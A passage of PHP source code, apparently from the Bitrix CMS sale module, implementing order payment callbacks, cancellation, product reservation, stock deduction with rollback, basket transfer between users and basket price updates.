$productProvider::DeliverProduct(array(
"PRODUCT_ID" => $arBasket["PRODUCT_ID"],
"USER_ID" => $arOrder["USER_ID"],
"PAID" => $bPaid,
"ORDER_ID" => $orderID,
'BASKET_ID' => $arBasket['ID']
));
}
else
{
CSaleBasket::ExecuteCallbackFunction(
$arBasket["PAY_CALLBACK_FUNC"],
$arBasket["MODULE"],
$arBasket["PRODUCT_ID"],
$arOrder["USER_ID"],
$bPaid,
$orderID,
$arBasket["QUANTITY"]
);
}
$dbRecur = CSaleRecurring::GetList(
array(),
array(
"USER_ID" => $arOrder["USER_ID"],
"PRODUCT_ID" => $arBasket["PRODUCT_ID"],
"MODULE" => $arBasket["MODULE"]
)
);
while ($arRecur = $dbRecur->Fetch())
{
CSaleRecurring::Delete($arRecur["ID"]);
}
}
}
}
}
}
function OrderCanceled($orderID, $bCancel)
{
global $DB;
$orderID = IntVal($orderID);
if ($orderID <= 0)
return False;
$bCancel = ($bCancel ? True : False);
$isOrderConverted = \Bitrix\Main\Config\Option::get("main", "~sale_converted_15", 'Y');
if ($isOrderConverted != 'N')
{
\Bitrix\Sale\Compatible\OrderCompatibility::cancel($orderID, $bCancel?'Y':'N');
}
else
{
$arOrder = CSaleOrder::GetByID($orderID);
if ($arOrder)
{
$dbBasketList = CSaleBasket::GetList(
array("NAME" => "ASC"),
array("ORDER_ID" => $orderID)
);
while ($arBasket = $dbBasketList->Fetch())
{
if (strlen($arBasket["CANCEL_CALLBACK_FUNC"]) > 0 && strlen($arBasket["PRODUCT_PROVIDER_CLASS"]) <= 0)
{
$arFields = CSaleBasket::ExecuteCallbackFunction(
$arBasket["CANCEL_CALLBACK_FUNC"],
$arBasket["MODULE"],
$arBasket["PRODUCT_ID"],
$arBasket["QUANTITY"],
$bCancel
);
}
}
}
}
}
/**
* Method is called to reserve all products in the order basket
*
* @param int $orderID
* @param bool $bUndoReservation
* @return mixed array
*/
function OrderReservation($orderID, $bUndoReservation = false)
{
global $APPLICATION;
if (defined("SALE_DEBUG") && SALE_DEBUG)
{
if ($bUndoReservation)
CSaleHelper::WriteToLog("OrderReservation: undo started", array("orderId" => $orderID), "OR1");
else
CSaleHelper::WriteToLog("OrderReservation: started", array("orderId" => $orderID), "OR1");
}
$orderID = (int)$orderID;
if ($orderID <= 0)
return false;
$arResult = array();
$arSetData = array();
$arOrder = CSaleOrder::GetByID($orderID);
if ($arOrder)
{
$obStackExp = $APPLICATION->GetException();
if (is_object($obStackExp))
{
$APPLICATION->ResetException();
}
$dbBasketList = CSaleBasket::GetList(
array(),
array("ORDER_ID" => $orderID)
);
while ($arBasket = $dbBasketList->Fetch())
{
if ($bUndoReservation && $arBasket["RESERVED"] == "N" && COption::GetOptionString("catalog", "enable_reservation") != "N")
continue;
if (CSaleBasketHelper::isSetParent($arBasket))
continue;
if (CSaleBasketHelper::isSetItem($arBasket))
$arSetData[$arBasket["PRODUCT_ID"]] = $arBasket["SET_PARENT_ID"];
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("Reserving product #".$arBasket["PRODUCT_ID"], array(), "OR2");
/** @var $productProvider IBXSaleProductProvider */
if ($productProvider = CSaleBasket::GetProductProvider($arBasket))
{
if (defined("SALE_DEBUG") && SALE_DEBUG)
{
CSaleHelper::WriteToLog(
"Call ::ReserveProduct",
array(
"PRODUCT_ID" => $arBasket["PRODUCT_ID"],
"QUANTITY_ADD" => $arBasket["QUANTITY"],
"UNDO_RESERVATION" => ($bUndoReservation) ? "Y" : "N"
),
"OR3"
);
}
if ($arOrder["DEDUCTED"] == "Y") // order already deducted, don't reserve it
{
$res = array("RESULT" => true, "QUANTITY_RESERVED" => 0);
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("Order already deducted. Product won't be reserved.", array(), "OR5");
}
else
{
$res = $productProvider::ReserveProduct(array(
"PRODUCT_ID" => $arBasket["PRODUCT_ID"],
"QUANTITY_ADD" => $arBasket["QUANTITY"],
"UNDO_RESERVATION" => ($bUndoReservation) ? "Y" : "N",
));
}
if ($res["RESULT"])
{
$arResult[$arBasket["PRODUCT_ID"]] = $res["QUANTITY_RESERVED"];
$arUpdateFields = array("RESERVED" => ($bUndoReservation) ? "N" : "Y");
if (!$bUndoReservation && isset($res["QUANTITY_NOT_RESERVED"]))
$arUpdateFields["RESERVE_QUANTITY"] = $res["QUANTITY_NOT_RESERVED"];
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("Product #".$arBasket["PRODUCT_ID"]." reserved successfully", array("arUpdateFields" => $arUpdateFields), "OR4");
if (!isset($res["QUANTITY_RESERVED"]) || (isset($res["QUANTITY_RESERVED"]) && $res["QUANTITY_RESERVED"] != 0))
CSaleBasket::Update($arBasket["ID"], $arUpdateFields);
}
else
{
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("Product #".$arBasket["PRODUCT_ID"]." reservation error", array(), "OR4");
CSaleBasket::Update($arBasket["ID"], array("RESERVED" => "N"));
}
if ($ex = $APPLICATION->GetException())
{
if (defined("SALE_DEBUG") && SALE_DEBUG)
{
CSaleHelper::WriteToLog(
"Call ::ReserveProduct - Exception",
array(
"ID" => $arBasket["PRODUCT_ID"],
"MESSAGE" => $ex->GetString(),
"CODE" => $ex->GetID(),
),
"OR4"
);
}
$arResult["ERROR"][$arBasket["PRODUCT_ID"]]["ID"] = $arBasket["PRODUCT_ID"];
$arResult["ERROR"][$arBasket["PRODUCT_ID"]]["MESSAGE"] = $ex->GetString();
$arResult["ERROR"][$arBasket["PRODUCT_ID"]]["CODE"] = $ex->GetID();
}
}
}
if (is_object($obStackExp))
{
$APPLICATION->ResetException();
$APPLICATION->ThrowException($obStackExp);
}
}
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("OrderReservation result", array("arResult" => $arResult), "OR6");
return $arResult;
}
/**
* Method is called to reserve one product in the basket
* (it's a wrapper around product provider ReserveProduct method to use for the single product)
*
* @param int $basketID
* @param float $deltaQuantity - quantity to reserve
* @param bool $isOrderDeducted
* @return mixed array
*/
function ReserveBasketProduct($basketID, $deltaQuantity, $isOrderDeducted = false)
{
global $APPLICATION;
if (defined("SALE_DEBUG") && SALE_DEBUG)
{
CSaleHelper::WriteToLog(
"ReserveBasketProduct: reserving product #".$basketID,
array(
"basketId" => $basketID,
"deltaQuantity" => $deltaQuantity
),
"RBP1"
);
}
$arResult = array();
$basketID = (int)$basketID;
if ($basketID <= 0)
{
$arResult["RESULT"] = false;
return $arResult;
}
$deltaQuantity = (float)$deltaQuantity;
if ($deltaQuantity < 0)
{
$deltaQuantity = abs($deltaQuantity);
$bUndoReservation = true;
}
else
{
$bUndoReservation = false;
}
$arBasket = CSaleBasket::GetByID($basketID);
if ($arBasket)
{
/** @var $productProvider IBXSaleProductProvider */
if ($productProvider = CSaleBasket::GetProductProvider($arBasket))
{
if (defined("SALE_DEBUG") && SALE_DEBUG)
{
CSaleHelper::WriteToLog(
"Call ::ReserveProduct",
array(
"PRODUCT_ID" => $arBasket["PRODUCT_ID"],
"QUANTITY_ADD" => $deltaQuantity,
"UNDO_RESERVATION" => ($bUndoReservation) ? "Y" : "N",
"ORDER_DEDUCTED" => ($isOrderDeducted) ? "Y" : "N"
),
"RBP2"
);
}
$res = $productProvider::ReserveProduct(array(
"PRODUCT_ID" => $arBasket["PRODUCT_ID"],
"QUANTITY_ADD" => $deltaQuantity,
"UNDO_RESERVATION" => ($bUndoReservation) ? "Y" : "N",
"ORDER_DEDUCTED" => ($isOrderDeducted) ? "Y" : "N"
));
$updateResult = true;
$arResult["RESULT"] = $res["RESULT"];
if ($res["RESULT"])
{
$arResult[$arBasket["ID"]] = $res["QUANTITY_RESERVED"];
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("Product #".$arBasket["PRODUCT_ID"]." reserved successfully", array(), "RBP3");
if ($bUndoReservation)
{
$updateResult = CSaleBasket::Update($arBasket["ID"], array("RESERVED" => "N"));
}
elseif (!isset($res["QUANTITY_RESERVED"]) || (isset($res["QUANTITY_RESERVED"]) && $res["QUANTITY_RESERVED"] != 0))
{
$updateResult = CSaleBasket::Update($arBasket["ID"], array("RESERVED" => "Y"));
}
}
else
{
$arResult["ERROR"]["PRODUCT_ID"] = $arBasket["PRODUCT_ID"];
$updateResult = false;
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("Product #".$arBasket["PRODUCT_ID"]." reservation error", array(), "RBP3");
if (isset($res["QUANTITY_NOT_RESERVED"]))
{
CSaleBasket::Update($arBasket["ID"], array("RESERVE_QUANTITY" => $res["QUANTITY_NOT_RESERVED"]));
}
}
if (!$updateResult && $ex = $APPLICATION->GetException())
{
$arResult["ERROR"]["MESSAGE"] = $ex->GetString();
$arResult["ERROR"]["CODE"] = $ex->GetID();
}
}
}
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("ReserveBasketProduct result", array("arResult" => $arResult), "RBP5");
return $arResult;
}
/**
* Method is called to deduct one product in the basket
* (it's a wrapper around product provider DeductProduct method to use for the single product)
*
* @param int $basketID
* @param float $deltaQuantity - quantity to reserve
* @param array $arStoreBarcodeData
* @return mixed array
*/
function DeductBasketProduct($basketID, $deltaQuantity, $arStoreBarcodeData = array())
{
if (defined("SALE_DEBUG") && SALE_DEBUG)
{
CSaleHelper::WriteToLog("DeductBasketProduct",
array(
"basketId" => $basketID,
"deltaQuantity" => $deltaQuantity,
"storeBarcodeData" => $arStoreBarcodeData
),
"DBP1"
);
}
global $APPLICATION;
$arResult = array();
$basketID = (int)$basketID;
if ($basketID <= 0)
{
$arResult["RESULT"] = false;
return $arResult;
}
$deltaQuantity = (float)$deltaQuantity;
if ($deltaQuantity < 0)
{
$deltaQuantity = abs($deltaQuantity);
$bUndoDeduction = true;
}
else
{
$bUndoDeduction = false;
}
$arBasket = CSaleBasket::GetByID($basketID);
if ($arBasket)
{
/** @var $productProvider IBXSaleProductProvider */
if ($productProvider = CSaleBasket::GetProductProvider($arBasket))
{
if (defined("SALE_DEBUG") && SALE_DEBUG)
{
CSaleHelper::WriteToLog(
"Call ::DeductProduct",
array(
"PRODUCT_ID" => $arBasket["PRODUCT_ID"],
"QUANTITY" => (empty($arStoreBarcodeData)) ? $deltaQuantity : 0,
"UNDO_DEDUCTION" => ($bUndoDeduction) ? "Y" : "N",
"EMULATE" => "N",
"PRODUCT_RESERVED" => $arBasket["RESERVED"],
"STORE_DATA" => $arStoreBarcodeData
),
"DBP2"
);
}
if ($bUndoDeduction)
{
$dbStoreBarcode = CSaleStoreBarcode::GetList(
array(),
array("BASKET_ID" => $arBasket["ID"]),
false,
false,
array("ID", "BASKET_ID", "BARCODE", "QUANTITY", "STORE_ID")
);
while ($arRes = $dbStoreBarcode->GetNext())
$arStoreBarcodeData[] = $arRes;
}
$res = $productProvider::DeductProduct(array(
"PRODUCT_ID" => $arBasket["PRODUCT_ID"],
"QUANTITY" => (empty($arStoreBarcodeData)) ? $deltaQuantity : 0,
"UNDO_DEDUCTION" => ($bUndoDeduction) ? "Y" : "N",
"EMULATE" => "N",
"PRODUCT_RESERVED" => $arBasket["RESERVED"],
"STORE_DATA" => $arStoreBarcodeData
));
$arResult["RESULT"] = $res["RESULT"];
if ($res["RESULT"])
{
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("Product #".$arBasket["PRODUCT_ID"]." deducted successfully", array(), "DBP3");
}
else
{
$arResult["ERROR"]["PRODUCT_ID"] = $arBasket["PRODUCT_ID"];
if ($ex = $APPLICATION->GetException())
{
$arResult["ERROR"]["MESSAGE"] = $ex->GetString();
$arResult["ERROR"]["CODE"] = $ex->GetID();
}
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("Product #".$arBasket["PRODUCT_ID"]." deduction error", array(), "DBP4");
}
}
}
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("DeductBasketProduct result", array("arResult" => $arResult), "DBP5");
return $arResult;
}
/**
* Method is called to deduct all products of the order or undo deduction
*
* @param int $orderID
* @param bool $bUndoDeduction
* @param int $recurringID
* @param bool $bAutoDeduction
* @param array $arStoreBarcodeOrderFormData
* @return mixed array
*/
function OrderDeduction($orderID, $bUndoDeduction = false, $recurringID = 0, $bAutoDeduction = true, $arStoreBarcodeOrderFormData = array())
{
global $APPLICATION;
static $storesCount = NULL;
static $bAutoDeductionAllowed = NULL;
$bRealDeductionAllowed = true;
$defaultDeductionStore = 0;
$arSavedStoreBarcodeData = array();
$arItems = array();
$arResult = array();
$isOrderConverted = \Bitrix\Main\Config\Option::get("main", "~sale_converted_15", 'Y');
if (defined("SALE_DEBUG") && SALE_DEBUG)
{
CSaleHelper::WriteToLog(
"OrderDeduction: started",
array(
"orderID" => $orderID,
"bUndoDeduction" => intval($bUndoDeduction),
"bAutoDeduction" => intval($bAutoDeduction),
"arStoreBarcodeOrderFormData" => $arStoreBarcodeOrderFormData
),
"OD1"
);
}
//TODO - recurringID - ?
$orderID = IntVal($orderID);
if ($orderID <= 0)
{
$arResult["RESULT"] = false;
return $arResult;
}
if ($isOrderConverted != 'N')
{
$ship = !$bUndoDeduction;
/** @var \Bitrix\Sale\Result $r */
$r = \Bitrix\Sale\Compatible\OrderCompatibility::shipment($orderID, $ship, $arStoreBarcodeOrderFormData);
if (!$r->isSuccess(true))
{
foreach($r->getErrorMessages() as $error)
{
// $APPLICATION->ThrowException($error);
$arResult["ERROR"]["MESSAGE"] = $error;
// $arResult["ERROR"]["CODE"] = $ex->GetID();
break;
}
$arResult["RESULT"] = false;
return $arResult;
}
$arResult["RESULT"] = true;
return $arResult;
}
$dbBasketList = CSaleBasket::GetList(
array(),
array("ORDER_ID" => $orderID),
false,
false,
array('ID', 'LID', 'PRODUCT_ID', 'PRODUCT_PROVIDER_CLASS', 'MODULE', 'BARCODE_MULTI', 'QUANTITY', 'RESERVED', 'TYPE', 'SET_PARENT_ID')
);
//check basket items and emulate deduction
while ($arBasket = $dbBasketList->Fetch())
{
if (CSaleBasketHelper::isSetParent($arBasket))
continue;
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("Deducting product #".$arBasket["PRODUCT_ID"], array(), "OD2");
/** @var $productProvider IBXSaleProductProvider */
if ($productProvider = CSaleBasket::GetProductProvider($arBasket))
{
if (is_null($storesCount))
$storesCount = intval($productProvider::GetStoresCount(array("SITE_ID" => $arBasket["LID"])));
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("stores count: ".$storesCount, array(), "OD3");
if (is_null($bAutoDeductionAllowed))
{
$defaultDeductionStore = COption::GetOptionString("sale", "deduct_store_id", "", $arBasket["LID"]);
if ($storesCount == 1 || $storesCount == -1 || intval($defaultDeductionStore) > 0) // if stores' count = 1 or stores aren't used or default deduction store is defined
$bAutoDeductionAllowed = true;
else
$bAutoDeductionAllowed = false;
}
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("auto deduction allowed: ".intval($bAutoDeductionAllowed), array(), "OD4");
if ($bAutoDeduction && !$bAutoDeductionAllowed && !$bUndoDeduction)
{
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("DDCT_AUTO_DEDUCT_WRONG_STORES_QUANTITY", array(), "OD5");
$APPLICATION->ThrowException(Loc::getMessage("DDCT_AUTO_DEDUCT_WRONG_STORES_QUANTITY"), "DDCT_WRONG_STORES_QUANTITY");
$bRealDeductionAllowed = false;
}
else if ($bAutoDeduction && $arBasket["BARCODE_MULTI"] == "Y" && !$bUndoDeduction)
{
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("DDCT_AUTO_DEDUCT_BARCODE_MULTI", array(), "OD6");
$APPLICATION->ThrowException(Loc::getMessage("DDCT_AUTO_DEDUCT_BARCODE_MULTI", array("#PRODUCT_ID#" => $arBasket["PRODUCT_ID"])), "DDCT_CANT_DEDUCT_BARCODE_MULTI");
$bRealDeductionAllowed = false;
}
else
{
//get saved store & barcode data if stores are used to know where to return products
if ($bUndoDeduction && $storesCount > 0)
{
$dbStoreBarcode = CSaleStoreBarcode::GetList(
array(),
array("BASKET_ID" => $arBasket["ID"]),
false,
false,
array("ID", "BASKET_ID", "BARCODE", "QUANTITY", "STORE_ID")
);
while ($arStoreBarcode = $dbStoreBarcode->Fetch())
{
$arSavedStoreBarcodeData[$arBasket["ID"]][] = $arStoreBarcode;
}
if (defined("SALE_DEBUG") && SALE_DEBUG)
{
CSaleHelper::WriteToLog(
"OrderDeduction: CSaleStoreBarcode data (stores) to return products to",
array(
"arSavedStoreBarcodeData" => $arSavedStoreBarcodeData
),
"OD7"
);
}
}
$arFields = array(
"PRODUCT_ID" => $arBasket["PRODUCT_ID"],
"EMULATE" => "Y",
"PRODUCT_RESERVED" => $arBasket["RESERVED"],
"UNDO_DEDUCTION" => ($bUndoDeduction) ? "Y" : "N"
);
if ($bUndoDeduction)
{
if ($storesCount > 0)
{
$arFields["QUANTITY"] = 0; //won't be used during deduction
$arFields["STORE_DATA"] = $arSavedStoreBarcodeData[$arBasket["ID"]];
}
else
{
$arFields["QUANTITY"] = $arBasket["QUANTITY"];
$arFields["STORE_DATA"] = array();
}
}
else
{
if ($storesCount == 1)
{
$arFields["QUANTITY"] = 0;
if ($bAutoDeduction) //get the only possible store to deduct from it
{
if (
$arProductStore = $productProvider::GetProductStores(array(
"PRODUCT_ID" => $arBasket["PRODUCT_ID"],
"SITE_ID" => $arBasket["LID"],
'BASKET_ID' => $arBasket['ID']
))
)
{
$arFields["STORE_DATA"] = array(
"0" => array(
"STORE_ID" => $arProductStore[0]["STORE_ID"],
"QUANTITY" => $arBasket["QUANTITY"],
"AMOUNT" => $arProductStore[0]["AMOUNT"]
)
);
}
else
{
$arFields["STORE_DATA"] = array();
}
}
else
{
$arFields["STORE_DATA"] = $arStoreBarcodeOrderFormData[$arBasket["ID"]];
}
}
else if (intval($defaultDeductionStore) > 0) // if default deduction store is defined
{
$arFields["QUANTITY"] = 0;
if ($bAutoDeduction)
{
if (
$arProductStore = $productProvider::GetProductStores(array(
"PRODUCT_ID" => $arBasket["PRODUCT_ID"],
"SITE_ID" => $arBasket["LID"],
'BASKET_ID' => $arBasket['ID']
))
)
{
foreach ($arProductStore as $storeData)
{
if ($storeData["STORE_ID"] == intval($defaultDeductionStore))
{
$arFields["STORE_DATA"] = array(
"0" => array(
"STORE_ID" => $storeData["STORE_ID"],
"QUANTITY" => $arBasket["QUANTITY"],
"AMOUNT" => $storeData["AMOUNT"]
)
);
break;
}
}
}
else
{
$arFields["STORE_DATA"] = array();
}
}
else
{
$arFields["STORE_DATA"] = $arStoreBarcodeOrderFormData[$arBasket["ID"]];
}
}
else if ($storesCount > 1)
{
$arFields["QUANTITY"] = 0; //won't be used during deduction
$arFields["STORE_DATA"] = $arStoreBarcodeOrderFormData[$arBasket["ID"]];
}
else //store control not used
{
$arFields["QUANTITY"] = $arBasket["QUANTITY"];
$arFields["STORE_DATA"] = array();
}
}
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("Emulating ::DeductProduct call", array("arFields" => $arFields), "OD7");
$eventParams = array(
'ORDER_ID' => $orderID,
'RECURRING_ID' => $recurringID,
'AUTO_DEDUCTION' => $bAutoDeduction,
'STORE_DATA' => $arStoreBarcodeOrderFormData
);
foreach (GetModuleEvents('sale', 'OnBeforeBasketDeductProduct', true) as $event)
{
if (ExecuteModuleEventEx($event, array($eventParams, $arBasket, &$arFields)) === false)
{
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("Emulating ::DeductProduct call - error", array(), "OD7-1");
$arResult["RESULT"] = false;
return $arResult;
}
}
unset($eventParams);
//emulate deduction
$res = $productProvider::DeductProduct($arFields);
if ($res["RESULT"])
{
$arBasket["FIELDS"] = $arFields;
$arItems[] = $arBasket;
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("Emulating ::DeductProduct call - success", array(), "OD8");
}
else
{
$bRealDeductionAllowed = false;
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("Emulating ::DeductProduct call - error", array(), "OD9");
}
}
if ($ex = $APPLICATION->GetException())
{
$arResult["ERROR"]["MESSAGE"] = $ex->GetString();
$arResult["ERROR"]["CODE"] = $ex->GetID();
}
if (!$bRealDeductionAllowed)
break;
}
}
// real deduction
if ($bRealDeductionAllowed)
{
$bProductsDeductedSuccessfully = true;
$arDeductedItems = array();
foreach ($arItems as $arItem)
{
/** @var $productProvider IBXSaleProductProvider */
if ($productProvider = CSaleBasket::GetProductProvider($arItem))
{
$arItem["FIELDS"]["EMULATE"] = "N";
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("Call ::DeductProduct", array("fields" => $arItem["FIELDS"]), "OD10");
// finally real deduction
$res = $productProvider::DeductProduct($arItem["FIELDS"]);
if ($res["RESULT"])
{
$arDeductedItems[] = $arItem;
if (!$bUndoDeduction && $storesCount > 0)
{
if ($bAutoDeduction)
{
$arStoreBarcodeFields = array(
"BASKET_ID" => $arItem["ID"],
"BARCODE" => "",
"STORE_ID" => array_pop(array_keys($res["STORES"])),
"QUANTITY" => $arItem["QUANTITY"],
"CREATED_BY" => ((intval($GLOBALS["USER"]->GetID())>0) ? IntVal($GLOBALS["USER"]->GetID()) : ""),
"MODIFIED_BY" => ((intval($GLOBALS["USER"]->GetID())>0) ? IntVal($GLOBALS["USER"]->GetID()) : ""),
);
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("Call CSaleStoreBarcode::Add (auto deduction = true)", array("arStoreBarcodeFields" => $arStoreBarcodeFields), "OD11");
CSaleStoreBarcode::Add($arStoreBarcodeFields);
}
}
if ($bUndoDeduction)
{
$dbStoreBarcode = CSaleStoreBarcode::GetList(array(), array("BASKET_ID" => $arItem["ID"]), false, false, array("ID", "BASKET_ID"));
while ($arStoreBarcode = $dbStoreBarcode->GetNext())
CSaleStoreBarcode::Delete($arStoreBarcode["ID"]);
}
$tmpRes = ($bUndoDeduction) ? "N" : "Y";
CSaleBasket::Update($arItem["ID"], array("DEDUCTED" => $tmpRes));
// set parent deducted status
if ($bUndoDeduction)
{
if (CSaleBasketHelper::isSetItem($arItem))
CSaleBasket::Update($arItem["SET_PARENT_ID"], array("DEDUCTED" => "N"));
}
else
{
if (CSaleBasketHelper::isSetItem($arItem) && CSaleBasketHelper::isSetDeducted($arItem["SET_PARENT_ID"]))
CSaleBasket::Update($arItem["SET_PARENT_ID"], array("DEDUCTED" => "Y"));
}
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("Call ::DeductProduct - Success (DEDUCTED = ".$tmpRes.")", array(), "OD11");
}
else
{
CSaleBasket::Update($arItem["ID"], array("DEDUCTED" => "N"));
$bProductsDeductedSuccessfully = false;
if ($ex = $APPLICATION->GetException())
{
$arResult["ERROR"]["MESSAGE"] = $ex->GetString();
$arResult["ERROR"]["CODE"] = $ex->GetID();
}
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("Call ::DeductProduct - Error (DEDUCTED = N)", array(), "OD12");
break;
}
}
}
if ($bProductsDeductedSuccessfully)
{
$arResult["RESULT"] = true;
}
else //revert real deduction if error happened
{
$arFields = array();
foreach ($arDeductedItems as $arItem)
{
/** @var $productProvider IBXSaleProductProvider */
if ($productProvider = CSaleBasket::GetProductProvider($arItem))
{
if ($storesCount > 0)
{
$arFields = array(
"PRODUCT_ID" => $arItem["PRODUCT_ID"],
"QUANTITY" => $arItem["QUANTITY"],
"UNDO_DEDUCTION" => "Y",
"EMULATE" => "N",
"PRODUCT_RESERVED" => $arItem["FIELDS"]["PRODUCT_RESERVED"],
"STORE_DATA" => $arItem["FIELDS"]["STORE_DATA"] //during auto deduction
);
}
else
{
$arFields = array(
"PRODUCT_ID" => $arItem["PRODUCT_ID"],
"QUANTITY" => $arItem["QUANTITY"],
"UNDO_DEDUCTION" => "Y",
"PRODUCT_RESERVED" => $arItem["FIELDS"]["PRODUCT_RESERVED"],
"EMULATE" => "N",
);
}
if (defined("SALE_DEBUG") && SALE_DEBUG)
{
CSaleHelper::WriteToLog(
"Call ::DeductProduct - Revert deduction", array(
"storesCount" => $storesCount,
"arFields" => $arFields
),
"OD13"
);
}
$res = $productProvider::DeductProduct($arFields);
if ($res["RESULT"])
{
CSaleBasket::Update($arItem["ID"], array("DEDUCTED" => "N"));
if (CSaleBasketHelper::isSetItem($arItem)) // todo - possibly not all the time, but once
CSaleBasket::Update($arItem["SET_PARENT_ID"], array("DEDUCTED" => "N"));
}
}
}
$arResult["RESULT"] = false;
}
}
else
{
$arResult["RESULT"] = false;
}
if (defined("SALE_DEBUG") && SALE_DEBUG)
CSaleHelper::WriteToLog("OrderDeduction - result", array("arResult" => $arResult), "OD14");
return $arResult;
}
function TransferBasket($FROM_FUSER_ID, $TO_FUSER_ID)
{
$FROM_FUSER_ID = (int)$FROM_FUSER_ID;
$TO_FUSER_ID = (int)$TO_FUSER_ID;
if ($TO_FUSER_ID > 0 && $FROM_FUSER_ID > 0)
{
$_SESSION["SALE_BASKET_NUM_PRODUCTS"][SITE_ID] = 0;
$dbTmp = CSaleUser::GetList(array("ID" => $TO_FUSER_ID));
if (!empty($dbTmp))
{
$basketToFUser = Sale\Basket::loadItemsForFUser($TO_FUSER_ID, SITE_ID);
$basketFromFUser = Sale\Basket::loadItemsForFUser($FROM_FUSER_ID, SITE_ID);
if ($basketFromFUser->count() > 0)
{
$_SESSION["SALE_BASKET_NUM_PRODUCTS"][SITE_ID] = $basketToFUser->count();
/** @var Sale\BasketItem $basketItemFrom */
foreach ($basketFromFUser as $basketItemFrom)
{
/** @var Sale\BasketItem $basketItem */
$basketItem = $basketToFUser->getExistsItemByItem($basketItemFrom);
if ($basketItem)
{
$basketItem->setField('QUANTITY', $basketItem->getQuantity() + $basketItemFrom->getQuantity());
$basketItemFrom->delete();
}
else
{
$basketItemFrom->setFieldNoDemand('FUSER_ID', $TO_FUSER_ID);
$_SESSION["SALE_BASKET_NUM_PRODUCTS"][SITE_ID]++;
}
}
$basketToFUser->save();
$basketFromFUser->save();
}
Sale\BasketComponentHelper::updateFUserBasket($TO_FUSER_ID, SITE_ID);
Sale\BasketComponentHelper::updateFUserBasket($FROM_FUSER_ID, SITE_ID);
Sale\Discount\RuntimeCache\FuserCache::getInstance()->clean();
return true;
}
}
return false;
}
public static function UpdateBasketPrices($fuserID, $siteID, array $options = array())
{
$fuserID = (int)$fuserID;
if ($fuserID <= 0)
return false;
$siteID = (string)$siteID;
if ($siteID == '')
$siteID = SITE_ID;
$isOrderConverted = \Bitrix\Main\Config\Option::get("main", "~sale_converted_15", 'Y');
if ($isOrderConverted != 'N')
{
self::refreshFUserBasket($fuserID, $siteID, $options);
}
else
{
$dbBasketItems = CSaleBasket::GetList(
array("ALL_PRICE" => "DESC"),
array(
"FUSER_ID" => $fuserID,
"LID" => $siteID,
"ORDER_ID" => "NULL",
"SUBSCRIBE" => "N"
),
false,
false,
array(
"ID", "MODULE", "PRODUCT_ID", "QUANTITY",
"CALLBACK_FUNC", "PRODUCT_PROVIDER_CLASS",
"CAN_BUY", "DELAY", "NOTES",
"TYPE", "SET_PARENT_ID"
)
);
while ($arItem = $dbBasketItems->Fetch())
{
$basketItems[] = $arItem;
}
if (!empty($basketItems) && is_array($basketItems))
{
$basketItems = getRatio($basketItems);
foreach ($basketItems as $basketItem)
{
$fields = array();
$basketItem['CALLBACK_FUNC'] = (string)$basketItem['CALLBACK_FUNC'];
$basketItem['PRODUCT_PROVIDER_CLASS'] = (string)$basketItem['PRODUCT_PROVIDER_CLASS'];
if (strval(trim($basketItem['PRODUCT_PROVIDER_CLASS'])) !== '' || strval(trim($basketItem['CALLBACK_FUNC'])) !== '')
{
$basketItem['MODULE'] = (string)$basketItem['MODULE'];
$basketItem['PRODUCT_ID'] = (int)$basketItem['PRODUCT_ID'];
$basketItem['QUANTITY'] = (float)$basketItem['QUANTITY'];
if ($productProvider = CSaleBasket::GetProductProvider($basketItem))
{
$fields = $productProvider::GetProductData(array(
"PRODUCT_ID" => $basketItem["PRODUCT_ID"],
"QUANTITY" => $basketItem["QUANTITY"],
"RENEWAL" => "N",
"CHECK_COUPONS" => ('Y' == $basketItem['CAN_BUY'] && 'N' == $basketItem['DELAY'] ? 'Y' : 'N'),
"CHECK_DISCOUNT" => (CSaleBasketHelper::isSetItem($basketItem) ? 'N' : 'Y'),
"BASKET_ID" => $basketItem["ID"],
"NOTES" => $basketItem["NOTES"]
));
}
else
{
$fields = CSaleBasket::ExecuteCallbackFunction(
$basketItem["CALLBACK_FUNC"],
$basketItem["MODULE"],
$basketItem["PRODUCT_ID"],
$basketItem["QUANTITY"],
"N"
);
}
if (!empty($fields) && is_array($fields))
{
if ($isOrderConverted != 'N' && $basketItem['DELAY'] == 'N')
{
if (!Sale\Compatible\DiscountCompatibility::isInited())
Sale\Compatible\DiscountCompatibility::init();
if (Sale\Compatible\DiscountCompatibility::usedByClient())
Sale\Compatible\DiscountCompatibility::setBasketItemData($basketItem['ID'], $fields);
}
$fields['CAN_BUY'] = 'Y';
$fields['TYPE'] = (int)$basketItem['TYPE'];
$fields['SET_PARENT_ID'] = (int)$basketItem['SET_PARENT_ID'];
}
else
{
$fields = array('CAN_BUY' => 'N');
}
}
if (array_key_exists('MEASURE_RATIO', $basketItem))
{
$basketItemQuantity = floatval($basketItem['QUANTITY']);
